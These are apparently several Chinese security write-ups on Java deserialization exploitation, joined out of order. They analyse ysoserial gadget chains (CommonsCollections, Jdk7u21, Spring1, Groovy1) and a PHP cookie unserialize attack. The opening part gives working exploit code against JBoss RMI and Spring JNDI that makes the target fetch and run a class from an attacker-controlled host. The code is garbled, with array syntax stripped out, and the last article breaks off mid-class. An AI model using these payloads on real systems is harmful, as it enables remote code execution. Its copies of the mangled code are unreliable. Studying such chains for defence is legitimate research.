发现1090端口和1099端口对外开放了。也就是说RMI服务对外开放了。 在这里说一下,在jboss利用上面,按照原文的代码利用,没有重现成功。其中有payload的问题,所以使用了我自己写的封装好的payload,比较方便。另外,我们一开始认为攻击1099端口,我的好同学研究发现应该是1090端口,这才攻击成功。 于是有了以下攻击代码:
#!java Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://******:8080/java/", "exploit.ErrorBaseExec", "do_exec", "pwd"); InvocationHandler h = (InvocationHandler) instance; Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class
{Remote.class},h)); Registry registry = LocateRegistry.getRegistry("10.10.10.135", 1090); try{ registry.bind("pwned", r); // r is remote obj } catch (Throwable e) { e.printStackTrace(); }
运行代码,并攻击Jboss可以得到如下执行结果:

0x04 Spring framework远程命令执行分析

这个漏洞涉及JNDI和RMI服务,比较有趣。代码细节分析请参考资料中的第三个,分析的非常好,就不班门弄斧了。这里简单理清这个攻击的步骤。 与Apache Commons Collections这个库的反序列化利用类似,我们需要将spring框架中的lib包,包含在CLASSPATH中。这个要求比较苛刻,需要的包也比较多: 翻译下原文的命令执行代码链: spring-tx.jar中包含org.springframework.transaction.jta.JtaTransactionManager类,这个类存在JNDI的反序列化问题。 它的readObject() 方法执行中含有这样的一个路径:
#!bash initUserTransactionAndTransactionManager()-> lookupUserTransaction()-> JndiTemplate.lookup()-> InitialContext.lookup(userTransactionName)
InitialContext.Lookup() 会调用 userTransactionName属性,这个属性是我们可以控制的。 查阅JNDI使用,可以发现userTransactionName属性可以是一个外网的RMI路径,比如:rmi://10.10.10.1:1099/Object。 于是我们可以自己搭建一个RMI服务器,让目标服务器来访问下载执行准备好的任意java代码。 服务端搭建在Ubuntu虚拟机上,简单地建立一个socket进行数据传输并反序列化解析。代码自行查阅github~~ 简要画的原理如下: Client端即为攻击方,它向目标服务器发送JtaTransactionManager序列化对象后,会触发server端进行访问Client端(即:这时的RMI服务器端)中的RMI服务,去下载任意java对象进行执行。关键代码为:
#!java //创建RMI服务 Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new javax.naming.Reference("client.ExportObject","client.ExportObject","http://"+ localAddress +"/"); //访问rmi服务时,会转到该url地址中下载client.ExportObject类,并新建对象。 ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference); registry.bind("Object", referenceWrapper); String jndiAddress = "rmi://"+localAddress+":1099/Object"; //通过jndi访问rmi服务 org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager(); object.setUserTransactionName(jndiAddress);
测试远程执行ifconfig命令,可在服务端看到执行成功,同时客户端看到了访问记录。结果如下:

0x05 结语

java反序列漏洞影响很大,RMI机制也是冰山一角。期待相互交流研究。

0x06 参考资料及源码


http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/ http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/ http://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%E5%88%A9%E7%94%A8/ http://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce https://github.com/angelwhu/java_unserialize https://github.com/zerothoughts/spring-jndi

0x00 前言

关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题。然而,在下载老外的ysoserial工具并仔细看看后,我发现了许多值得学习的知识。 至少能学到如下内容:
不同反序列化payload玩法 灵活运用了反射机制和动态代理机制构造POC
java反序列化不仅是有Apache Commons Collections这样一种玩法。还有如下payload玩法:
CommonsBeanutilsCollectionsLogging1所需第三方库文件: commons-beanutils:1.9.2,commons-collections:3.1,commons-logging:1.2 CommonsCollections1所需第三方库文件: commons-collections:3.1 CommonsCollections2所需第三方库文件: commons-collections4:4.0 CommonsCollections3所需第三方库文件: commons-collections:3.1(CommonsCollections1的变种) CommonsCollections4所需第三方库文件: commons-collections4:4.0(CommonsCollections2的变种) Groovy1所需第三方库文件: org.codehaus.groovy:groovy:2.3.9 Jdk7u21所需第三方库文件: 只需JRE版本 <= 1.7u21 Spring1所需第三方库文件: spring框架所含spring-core:4.1.4.RELEASE,spring-beans:4.1.4.RELEASE
上面标注了payload使用情况下所依赖的包,诸位可以在源码中看到,根据实际情况选择。 通过对该攻击代码的分析,可以学习java的一些有意思的知识。而且,里面写的java代码也很值得学习,巧妙运用了反射机制去解决问题。老外写的POC还是很精妙的。

0x01 准备工作

在github上下载ysoserial工具。 使用maven进行编译成Eclipse项目文件,mvn eclipse:eclipse。要你联网下载依赖包,请耐心等待。如果卡住了,停止后再次执行该命令。 导入后,可以看到里面有8个payload。其中ObjectPayload是定义的接口,所有的Payload需要实现这个接口的getObject方法。下面就开始对这些payload进行简要的分析。

0x02 payload分析

1. CommonsBeanutilsCollectionsLogging1

该payload的要求依赖包挺多的,可能碰到的情况不会太多,但用到的技术是极好的。对这个payload执行的分析,请阅读参考资源第一个的分析文章。 这里谈谈我的理解。先直接看代码:
#!java public Object getObject(final String command) throws Exception { final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final BeanComparator comparator = new BeanComparator("lowestSetBit"); // create queue with numbers and basic comparator final PriorityQueue queue = new PriorityQueue(2, comparator); // stub data for replacement later queue.add(new BigInteger("1")); queue.add(new BigInteger("1")); // switch method called by comparator Reflections.setFieldValue(comparator, "property", "outputProperties"); //Reflections.setFieldValue(comparator, "property", "newTransformer"); //这里由于比较器的代码,只能访问内部属性。所以选择outputProperties属性。 进而调用getOutputProperties方法。 @angelwhu // switch contents of queue final Object
queueArray = (Object
) Reflections.getFieldValue(queue, "queue"); queueArray
= templates; queueArray
= templates; return queue; }
第一行代码final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);创建了TemplatesImpl类的对象,里面封装了我们需要的命令执行代码。而且是使用字节码的形式存储在对象属性中。 下面就具体分析下这个对象的产生过程。

(1) 利用TemplatesImpl类存储危险的字节码

在产生字节码时,用到了JDK中javassist类。具体了解可以参考这篇博客http://www.cnblogs.com/hucn/p/3636912.html。 下面是我编写的一个简单的样例程序,便于理解:
#!java @Test public void testClassPool() throws CannotCompileException, NotFoundException, IOException { String command = "calc"; ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(angelwhu.model.Point.class)); CtClass cc = pool.get(angelwhu.model.Point.class.getName()); //System.out.println(angelwhu.model.Point.class.getName()); cc.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); //加入关键执行代码,生成一个静态函数。 String newClassNameString = "angelwhu.Pwner" + System.nanoTime(); cc.setName(newClassNameString); CtMethod mthd = CtNewMethod.make("public static void main(String
args) throws Exception {new " + newClassNameString + "();}", cc); cc.addMethod(mthd); cc.writeFile(); }
上述代码首先获取到class定义的容器ClassPool,并找到了我自定义的Point类,由此生成了cc对象。这样就可以开始对类进行修改的任意操作了。而且这个操作是直接写字节码。这样可以绕过许多安全机制,正像工具中注释说的: // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 后面的操作便是利用我自定义的模板类Point,生成新的类名,并使用insertAfter方法插入了恶意java代码,执行命令。有兴趣的可以再详细了解这个类的用法。这里不再赘述。 这段代码运行后,会在当前目录生成字节码(class文件)。使用java反编译器可看到源码,在原始模板类中插入了恶意静态代码,而且以字节码的形式直接存储。命令行直接运行,可以执行弹出计算器的命令: 现在看看老外工具中,生成字节码的代码为:
#!java public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { final TemplatesImpl templates = new TemplatesImpl(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); final byte
classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte

{ classBytes, ClassFiles.classAsBytes(Foo.class)}); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; }
根据以上样例分析,可以清楚看见:前面几行代码,即生成了我们需要的插入了恶意java代码的字节码数据。该字节码其实可以看做是一个类(.class)文件。final byte
classBytes = clazz.toBytecode();将其转成了二进制数据进行存储。 Reflections.setFieldValue(templates, "_bytecodes", new byte

{classBytes,ClassFiles.classAsBytes(Foo.class)});这里又来到了一个有趣知识,那就是java反射机制的强大。ysoserial工具封装了使用反射机制对对象的一些操作,可以直接借鉴。 具体可以看看其源码,这里在工具中经常使用的Reflections.setFieldValue(final Object obj, final String fieldName, final Object value);方法,便是使用反射机制,将obj对象的fieldName属性赋值为value。反射机制的强大之处在于: 可以动态对对象的私有属性进行改变赋值,即:private修饰的属性。 动态生成任意类对象。 于是,我们便将com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类生成的对象templates中的_bytecodes属性,_name属性,_tfactory属性赋值成我们希望的值。 重点在于_bytecodes属性,里面存储了我们的恶意java代码。现在的问题便是:如何触发加载我们的恶意java字节码?

(2) 触发TemplatesImpl类加载_bytecodes属性中的字节码

在TemplatesImpl类中存在执行链:
#!java TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() ... MaliciousClass.() //class新建初始化对象后,会执行恶意类中的静态方法,即:我们插入的恶意java代码 ... Runtime.exec()//这里可以是任意java代码,比如:反弹shell等等。
这在ysoserial工具中的注释中是可以看到的。在源码中,我们从TemplatesImpl.getOutputProperties()开始跟踪,不难发现上面的执行链。最终会在getTransletInstance方法中看到如下触发加载自定义ja字节码部分的代码:
#!java private Translet getTransletInstance() throws TransformerConfigurationException { ............. if (_class == null) defineTransletClasses();//通过ClassLoader加载字节码,存储在_class数组中。 // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class
.newInstance();//新建实例,触发恶意代码。 ............
在defineTransletClasses()方法中,会加载我们之前存储在_bytecodes属性中的字节码(可以看做类文件),进而返回类的Class对象,存储在_class数组中。下面是调试时候的截图: 可以看到在defineTransletClasses()后,得到类的Class对象。然后会执行newInstance()操作,新建一个实例,这样便触发了我们插入的静态恶意java代码。如果接着单步执行,便会弹出计算器。 通过以上分析,可以看到: 只要能够自动触发TemplatesImpl.getOutputProperties()方法执行,我们就能达到目的了。

(3) 利用BeanComparator比较器触发执行

我们接着看payload的代码:
#!java final BeanComparator comparator = new BeanComparator("lowestSetBit"); // create queue with numbers and basic comparator final PriorityQueue queue = new PriorityQueue(2, comparator); // stub data for replacement later queue.add(new BigInteger("1")); queue.add(new BigInteger("1"));
很简单,将PriorityQueue(优先级队列)插入两个元素,而且需要一个实现了Comparator接口的比较器,对元素进行比较,并对元素进行排队处理。具体可以看看PriorityQueue类的readObject()方法。
#!java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { ........... queue = new Object
; // Read in all elements. for (int i = 0; i < size; i++) queue
= s.readObject(); // Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify(); }
从对象反序列化过程原理,可以知道会首先调用该对象readObject()。当然在序列化过程中会首先调用该对象的writeObject()方法。这两个方法可以对比着看,方便理解。 首先,在序列化PriorityQueue类实例时,会依次读取队列中的对象,并放到数组中进行存储。queue
= s.readObject();然后,进行排序操作heapify();。最终会到达这里,调用比较器的compare()方法,对元素间进行比较。
#!java private void siftDownUsingComparator(int k, E x) { ......................... if (comparator.compare(x, (E) c) <= 0) break; ......................... }
这里传进去的,便是BeanComparator比较器:位于commons-beanutils包。 于是,看看比较器的compare方法。
#!java public int compare( T o1, T o2 ) { .................. Object value1 = PropertyUtils.getProperty( o1, property ); Object value2 = PropertyUtils.getProperty( o2, property ); return internalCompare( value1, value2 ); .................. }
o1,o2便是要比较的两个对象,property即我们需要比较对象中的属性(可控)。一开始property赋值为lowestSetBit,后来改成真正需要的outputProperties属性。 PropertyUtils.getProperty( o1, property )顾名思义,便是取出o1对象中property属性的值。而实际上会去调用o1.getProperty()方法得到property属性值。 到这里,可以画上完美的一个圈了。我们只需将前面构造好的TemplatesImpl对象添加到PriorityQueue(优先级队列)中,然后设置比较器为BeanComparator("outputProperties")即可。 那么,在反序列化过程中,会自动调用TemplatesImpl.getOutputProperties()方法。执行命令了。 个人总结观点:
只需要想办法:自动调用TemplatesImpl的getOutputProperties方法。或者TemplatesImpl.newTransformer()即能自动加载字节码,触发恶意代码。这也在其他payload中经常用到。 触发原理:提供会自动调用比较器的容器。如:将PriorityQueue换成TreeSet容器,也是可以的。
为了在生成payload时,能够正常运行。在代码中,先象征性地加入了两个BigInteger对象。 后面使用反射机制,将comparator中的属性和queue容器存储的对象都改成我们需要的属性和对象。 否则,在生成payload时,便会弹出计算器,抛出异常,无法正常执行了。测试如下:

2. Jdk7u21

该payload其实是JAVA SE的一个漏洞,ysoserial工具注释中有链接:https://gist.github.com/frohoff/24af7913611f8406eaf3。该payload不需要使用任何第三方库文件,只需官方提供的JDK即可,这个很方便啊。 不知Jdk7u21以后怎么补的,先来看看它的实现。 在介绍完上面这个payload后,再来看这个可以发现:CommonsBeanutilsCollectionsLogging1借鉴了Jdk7u21的利用方法。 同样,Jdk7u21开始便创建了一个存储了恶意java字节码数据的TemplatesImpl类对象。接下来就是怎么触发的问题了:如何自动触发TemplatesImpl的getOutputProperties方法。 这里首先就有一个有趣的hash碰撞问题了。

(1) "f5a5a608"的hash值为0

类的hashCode方法是返回一个独一无二的hash值(int型),去代表这个唯一对象。如果类没有重写hashCode方法,会调用原始Object类中的hashCode方法返回一个hash值。 String类的hashCode方法是这么实现的。
#!java public int hashCode() { int h = hash; int len = count; if (h == 0 && len > 0) { int off = offset; char val
= value; for (int i = 0; i < len; i++) { h = 31*h + val
; } hash = h; } return h; }
于是,就有了有趣的值:
#!java String zeroHashCodeStr = "f5a5a608"; int hash3 = zeroHashCodeStr.hashCode(); System.out.println(hash3);
可以看到"f5a5a608"字符串,通过hashCode方法生成的hash值为0。这在之后的触发过程中会用到。

(2) 利用动态代理机制触发执行

Jdk7u21中使用了HashSet容器进行触发。添加了两个对象,一个是存储了恶意java字节码数据的TemplatesImpl类对象templates,一个是代理了Templates接口的proxy对象,使用了动态代理机制。 如下是Jdk7u21生成payload时的主要代码:
#!java ...... InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); ...... LinkedHashSet set = new LinkedHashSet(); // maintain order set.add(templates); set.add(proxy); ...... return set;
HashSet容器,就可以当做是一个HashMap,key便是我们存储进去的数据,对应的value都只是静态的Object对象。 同样,来看看HashSet容器中的readObject方法。
#!java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { .................... // Read in all elements in the proper order. for (int i=0; i 实际上,这里map可以看做是HashMap类生成的对象。接着追踪源码就到了关键的地方:
#!java public V put(K key, V value) { ......... int hash = hash(key.hashCode()); int i = indexFor(hash, table.length); for (Entry e = table
; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {//此处逻辑,需要使其触发key.equals(k)操作。 .......... } } ......... }
通过以上分析下可以知道:在反序列化HashSet过程中,会依次将templates和proxy对象添加到map中。 接着我们需要触发代码去执行key.equals(k)这条语句。 由于短路机制的原因,必须使templates.hashCode()与proxy.hashCode()计算值相等。 proxy使用了动态代理机制,代理了Templates接口。具体请参考其他分析老外LazyMap触发Apache Commons Collections第三库序列化问题的文章,如:参考资料2。 这里又到了熟悉的sun.reflect.annotation.AnnotationInvocationHandler类。 简而言之,我理解为将对象proxy所有的方法调用,都改成调用sun.reflect.annotation.AnnotationInvocationHandler类的invoke()方法。 当我们调用proxy.hashCode()方法时,自然就会执行到了如下代码:
#!java public Object invoke(Object proxy, Method method, Object
args) { String member = method.getName(); ............ if (member.equals("hashCode")) return hashCodeImpl(); .......... private int hashCodeImpl() { int result = 0; for (Map.Entry e : memberValues.entrySet()) { result += (127 * e.getKey().hashCode()) ^//使e.geyKey().hashCode()为0。"f5a5a608".hashCode()=0; memberValueHashCode(e.getValue()); } return result; }
这里的memberValues就是payload代码一开始传进去的map("f5a5a608",templates)。简要画图说明为: 因此,通过动态代理机制加上"f5a5a608".hashCode()=0的特殊性,使e.hash == hash成立。 这样便可以执行key.equals(k),即:proxy.equals(templates)语句。 接着查看源码便知:proxy.equals(templates)操作会遍历Templates接口的所有方法,并调用。如此,即可触发调用templates的getOutputProperties方法。
#!java if (member.equals("equals") && paramTypes.length == 1 && paramTypes
== Object.class) return equalsImpl(args
); .......................... private Boolean equalsImpl(Object o) { .......................... for (Method memberMethod : getMemberMethods()) { String member = memberMethod.getName(); Object ourValue = memberValues.get(member); .......................... hisValue = memberMethod.invoke(o);//触发调用getOutputProperties方法
如此,Jdk7u21的payload便也完美触发了。 同样,为了正常生成payload不抛出异常。先暂时存储map.put(zeroHashCodeStr, "foo");,后面替换为真正我们所需的对象:map.put(zeroHashCodeStr, templates); // swap in real object 总结一下:
技术关键在于巧妙的利用了"f5a5a608"hash值为0。实现了hash碰撞成立。 AnnotationInvocationHandler对于equal方法的处理,可以使我们调用目标方法getOutputProperties。
计算hash值部分的内容还挺有意思。有兴趣可以到参考链接中github上看看我的测试代码。

3. Groovy1

这个payload和最近Xstream反序列化漏洞的POC原理有相似性。请参考:http://drops.wooyun.org/papers/13243。 下面谈谈这个payload不一样的地方。 payload使用了Groovy库中ConvertedClosure类。该类实现了InvocationHandler和Serializable接口,同样可以用作动态代理并且可以序列化传输。代码也只有几行:
#!java final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); final Map map = Gadgets.createProxy(closure, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); return handler;
当反序列化handler时,会调用map.entrySet方法。于是,就调用代理类ConvertedClosure的invoke方法了。最终,来到了:
#!java public Object invokeCustom(Object proxy, Method method, Object
args) throws Throwable { if (methodName!=null && !methodName.equals(method.getName())) return null; return ((Closure) getDelegate()).call(args);//传入的是MethodClosure }
然后和XStream一样,调用MethodClosure.doCall()方法。即:Groovy语法中"command".execute(),顺利执行命令。 个人总结:
可以看到动态代理机制的强大作用。

4. Spring1

Spring1这个payload执行链有些复杂。按照常规步骤来分析下: 反序列化对象的readObject()方法为入口点进行跟踪。这里是org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider。
#!java private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName); this.result = ReflectionUtils.invokeMethod(method, this.provider.getType()); }
很明显的嗅到了感兴趣的"味道":ReflectionUtils.invokeMethod。接下来联系payload源码跟进下,或者单步调试。 由于流程可能比较错综复杂,画个简单的图表示下几个对象之间的关系: 在执行ReflectionUtils.invokeMethod(method, this.provider.getType())语句时,整个执行流程如下:
#!java ReflectionUtils.invokeMethod() Method.invoke(typeTemplatesProxy对象) //Method为Templates(Proxy).newTransformer()
这是明显的一部分调用,在执行Templates(Proxy).newTransformer()时,会有余下过程发生:
#!java typeTemplatesProxy对象.invoke() method.invoke(objectFactoryProxy对象.getObject(), args); objectFactoryProxy对象.getObject() AnnotationInvocationHandler.invoke() HashMap.get("getObject")//返回templates对象 Method.invoke(templates对象,args) TemplatesImpl.newTransformer() .......//触发加载含有恶意java字节码的操作
这里面是对象之间的调用,还有动态代理机制,容易绕晕,就说到这里。有兴趣可以单步调试看看。 个人总结:
Spring1为了强行代理Type接口,进行对象赋值。运用了多个动态代理机制实现,还是很巧妙的。

5. CommonsCollections

对CommonsCollections类,ysoserial工具中存在四种利用方法。所用的方法都是与上面几个payload类似。 CommonsCollections1自然是使用了LazyMap和动态代理机制进行触发调用Transformer执行链,请参考链接2。 CommonsCollections2和CommonsBeanutilsCollectionsLogging1一样也使用了比较器去触发TemplatesImpl的newTransformer方法执行命令。 这里用到的比较器为TransformingComparator,直接看其compare方法:
#!java public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }
很直接调用了transformer.transform(obj1),这里的obj1就是payload中的templates对象。 主要代码为:
#!java // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class
, new Object
); // create queue with numbers and basic comparator final PriorityQueue queue = new PriorityQueue(2,new TransformingComparator(transformer)); ......... // switch method called by comparator Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); //使用反射机制改变私有变量~ 不然,会在之前就执行命令,无法生成序列化数据。 //反序列化时,会调用TemplatesImpl的newTransformer方法。
根据熟悉的InvokerTransformer作用,最终会调用templates.newTransformer()执行恶意java代码。 CommonsCollections3是CommonsCollections1的变种,将执行链换了下:
#!java TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command); ............. // real chain for after setup final Transformer
transformers = new Transformer
{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class
{ Templates.class }, new Object
{ templatesImpl } )};
查看InstantiateTransformer的transform方法,可以看到关键代码:
#!java Constructor con = ((Class) input).getConstructor(iParamTypes); //input为TrAXFilter.class return con.newInstance(iArgs);
即:transformer执行链会执行new TrAXFilter(templatesImpl)。正好,TrAXFilter类构造函数中调用了templates.newTransformer()方法。都是套路啊。
#!java public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer();//触发执行命令 _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
CommonsCollections4是CommonsCollections2的变种。同样使用InstantiateTransformer触发templates.newTransformer()代替了之前的执行链。
#!java TemplatesImpl templates = Gadgets.createTemplatesImpl(command); ............... // grab defensively copied arrays paramTypes = (Class
) Reflections.getFieldValue(instantiate, "iParamTypes"); args = (Object
) Reflections.getFieldValue(instantiate, "iArgs"); .............. // swap in values to arm Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); paramTypes
= Templates.class; args
= templates; ...................
照例生成PriorityQueue queue后,使用反射机制对其属性进行修改。保证成功生成payload。 个人总结:payload分析完了,里面涉及的方法很巧妙。也有许多共同的利用特性,值得学习~~

0x03 参考资料


http://blog.knownsec.com/2016/03/java-deserialization-commonsbeanutils-pop-chains-analysis/ http://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/ https://github.com/angelwhu/ysoserial-test/

0x00 前言

作为一名不会 Java %!@#&,仅以此文记录下对 Java 反序列化利用的学习和研究过程。

0x01 什么是序列化

序列化常用于将程序运行时的对象状态以二进制的形式存储于文件系统中,然后可以在另一个程序中对序列化后的对象状态数据进行反序列化恢复对象。简单的说就是可以基于序列化数据实时在两个程序中传递程序对象。

1.Java 序列化示例

上面是一段简单的 Java 反序列化应用的示例。在第一段代码里面,程序将实例对象 String("This is String object!") 通过 ObjectOutputStream 类的 writeObject() 函数写到了文件里。序列化对象在具有一定的二进制结构,以十六进制格式查看存储了序列化对象的文件,除了包含一些字符串常量以外,还能看到其具有不可打印的字符在里面,而这些字符就是用来描述其序列化结构的。(关于序列化格式的相关信息可以参考官方文档)

2.Java 序列化特征

在序列化对象数据中,头4个字节存储的是 Java 序列化对象数据特有的 Magic Number 和相应的协议版本,通常为:
0xaced (Magic Number) 0x0005 (Version Number)
在具体序列化一个对象时,会遵循序列化协议进行数据封装。扯得有点远了,对 Java 序列化对象数据结构的研究不在本文范围内,官方文档有较为详细的说明,有需要的可以自行查阅。这里我们只需要知道,序列化后的 Java 对象二进制数据通常以 0xaced0005 这 4 个字节开始就可以了。对 Java 应用序列化对象交互的接口寻找就可以通过监测这 4 个特殊字节来进行。 在 Java 里,可以序列化一个对象成为具有一定数据格式的二进制数据,也可以从数据流程中恢复一个实例对象。而进行序列化和反序列化时会使用两个类,如下:
#!java // 序列化对象 java.io.ObjectOutputStream writeObject() writeUnshared() ... // 反序列化对象 java.io.ObjectInputStream readObject() readUnshared() ...
当然了,如果开发者对序列化的过程有自己的需求,也可以在对象中重写 writeObject() 和 readObject() 函数,来进行一些特殊的状态和数据的控制。 如果我们需要寻找某个 Java 应用的序列化数据交互接口时,就可以直接进行全局代码搜索序列化和反序列化中常用的那些函数和方法,当找到 Java 应用的序列化数据交互接口后,便可以开始考虑具体的利用方法了。

0x02 反序列化的危害

若你对 Python 或者 PHP 足够熟悉就应该知道在这两个语言中的反序列化过程都能直接导致代码执行或者命令执行,并且 Python 中要想利用反序列化执行命令或者代码基本没有什么条件限制,只要有反序列化的交互接口就能直接执行命令或者代码。当然了,如果做了其他的一些安全策略,就要根据实际情况来分析了。 总结一下在各语言中反序列化过程目前可能带来的危害:
执行逻辑控制(例如变量修改、登陆绕过) 代码执行 命令执行 拒绝服务 ...
这些安全隐患在大多语言的序列化过程出现后就存在了。成功的利用过程大都需要一定的条件和环境,不是每种语言都能像 Python 那样能给直接执行任意命令或者代码,如同一个栈溢出的利用需要考虑各种堆栈防护机制的问题一样。 一旦通过某种方法达到了反序列化漏洞可利用的环境和条件,能够进行利用的点就非常多了。 下面是一段代码是 PHP 代码中将序列化数据以 Cookie 形式存储的实例(user.php):
#!php username = $username; } function isAdmin() { return $this->is_admin; } } function initUser() { $user = new User('Guest'); $data = base64_encode(serialize($user)); setCookie('user', $data, time()+3600); echo ''; } if(isset($_COOKIE
)) { $user = unserialize(base64_decode($_COOKIE
)); if($user) { if($user->isAdmin()) { echo 'Welcome Come Back, Admninistrator.'; } else { echo "Hello, $user->username."; } } else { initUser(); } } else { initUser(); }
这段代码将用户信息以 base64_encode(serialize($user)) 的形式存储于客户端的 $_COOKIE
里,对序列化敏感的都知道可以自己构造序列化内容然后传递给服务端,使其改变代码逻辑。使用下面这段代码生成 $is_admin = true 的用户信息:
#!php 用生成好的 Payload 修改 Cookie 后再次访问即可看到 Welcome Come Back, Admninistrator. 的输出信息。 上面这个只是 PHP 中一个简单利用反序列化过程控制代码流程的例子。 Java 中也可以利用反序列化控制代码流程(传播的毕竟是一个对象实例), 但在 Java 中想要随便反序列化一个类实例是不行的,进行反序列化的类必须显示声明 Serializable 接口,这样才允许进行序列化操作。(具体可以参考官方文档)

0x03 面向属性编程

面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。

1.基本概念

在二进制利用时,ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,当然进行反序列化的数据能够被用户输入所控制。 从上面这幅图可以知道 ROP 与 POP 极其相似,但 ROP 关注的更为底层,而 POP 只关注上层语言中对象与对象之间的调用关系。

2. POP 示例

之前所写的《unserialize() 实战之 vBulletin 5.x.x 远程代码执行》就是一个 PHP 中反序列化过程 POP 执行链构造的例子,有兴趣的可以浏览一下,这里就不再给出具体的 POP 示例了。

0x04 Java 反序列化利用

前面讲了这么多也算是自己在研究老外对 Java 反序列化利用时学习和总结出的一些必要知识,下面就来说说从 Java 反序列化到任意命令执行的利用过程。 本年 1 月 AppSec2015 上 @gebl 和 @frohoff 所讲的 《Marshalling Pickles》 提到了基于 Java 的一些通用库或者框架能够构建出一组 POP 链使得 Java 应用在反序列化的过程中触发任意命令执行,同时也给出了相应的 Payload 构造工具 ysoserial。时隔 10 月国外 FoxGlove 安全团队也发表博文提到一部分流行的 Java 容器和框架使用了可以构造出能够导致任意命令执行 POP 链的通用库,也针对每种受影响的 Java 容器或框架从漏洞发现、分析到具体的利用构造都进行了详细的说明,并在 Github 上放出了相应的 PoC。能够成功构造出任意命令执行调用链的通用库和框架如下:
Spring Framework <= 3.0.5,<= 2.0.6; Groovy < 2.4.4; Apache Commons Collections <= 3.2.1,<= 4.0.0; More to come ...
(PS:这些框架或者通用库辅助构造可导致命令执行 POP 链的环境而已,反序列化漏洞的根源是因为不可信的输入和未检测反序列化对象安全性造成的。) 大多讲解和分析 Java 反序列化到任意命令执行的文章中,都提到了 Apache Commons Collections 这个 Java 库,因其 POP 链构造过程在自己学习和研究过程中是最容易理解的一个,所以下面也只分析基于 Apache Commons Collections 3.x 版本的 Gadget 构造过程。
InvokerTransformer.transform() 反射调用
在使用 Apache Commons Collections 库进行 Gadget 构造时主要利用了其 Transformer 接口。
#!java public interface Transformer { /** * Transforms the input object (leaving it unchanged) into some output object. * * @param input the object to be transformed, should be left unchanged * @return a transformed object * @throws ClassCastException (runtime) if the input is the wrong class * @throws IllegalArgumentException (runtime) if the input is invalid * @throws FunctorException (runtime) if the transform cannot be completed */ public Object transform(Object input); }
主要用于将一个对象通过 transform 方法转换为另一个对象,而在库中众多对象转换的接口中存在一个 Invoker 类型的转换接口 InvokerTransformer,并且同时还实现了 Serializable 接口。
#!java public class InvokerTransformer implements Transformer, Serializable { ...省略... private final String iMethodName; private final Class
iParamTypes; private final Object
